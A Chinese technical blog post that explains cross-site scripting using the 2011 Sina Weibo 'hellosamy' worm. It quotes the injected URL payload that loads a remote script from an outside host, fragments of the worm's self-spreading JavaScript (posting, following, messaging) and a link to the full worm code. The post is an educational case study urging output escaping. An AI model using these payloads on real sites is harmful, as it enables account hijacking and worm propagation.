XSS-从weibo蠕虫事件学习
2012-03-08 13:25 轩脉刃 阅读(4151) 评论(5) 编辑 收藏 举报XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):
sina的名人堂页面页面上存在这么个链接
<a href="http://weibo.com/pub/star/g/123">这个是xss</a>
其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):
Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'
其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。
这样的html就是存在xss漏洞
好了,这个漏洞被发现了,下面要利用它做什么呢?
1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
这样这个url就变成了
其中的引号被封闭了,然后这个页面自动运行了一段js脚本
这个js脚本做了这样的事情:
1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)
2 加关注uid为2201270010
3 发私信,向好友传播链接
js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip
1 2 3 4 5 6 7 8 9 10 11 | try { x= "g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)" ;window.opener.eval(x); } catch (e){} main(); |
其中就是在打开的页面加入了<script节点>,并执行
main中是发送微博,加关注,发私信三个动作
当5000秒后,当前页重新定位到public/topic上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | function main(){ try { publish(); } catch (e){} try { follow(); } catch (e){} try { message(); } catch (e){} } |
1 2 3 4 5 6 7 8 9 | function publish(){ data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=' ; post(url,data, true ); } |
模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题
直接post就可以产生这个效果
注:这次事件中还用到了短链接服务
短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
这么长一个链接能变为http://t.cn/atmcqn
这样能增加用户的点击成功率
事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!
相关有用的链接地址:
http://soft.yesky.com/security/156/30179156.shtml
http://www.youxia.org/2011/12/XSS-RootKit.html
http://www.youxia.org/2010/04/Anti-XSS.html
http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456
----------------------
作者:yjf512(轩脉刃)
出处:http://www.cnblogs.com/yjf512/
本文版权归yjf512和cnBlog共有,欢迎转载,但未经作者同意必须保留此段声明
实时了解作者更多技术文章,技术心得,请关注微信公众号“轩脉刃的刀光剑影”
本文基于署名-非商业性使用 3.0许可协议发布,欢迎转载,演绎,但是必须保留本文的署名叶剑峰(包含链接http://www.cnblogs.com/yjf512/),且不得用于商业目的。如您有任何疑问或者授权方面的协商,请与我联系。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)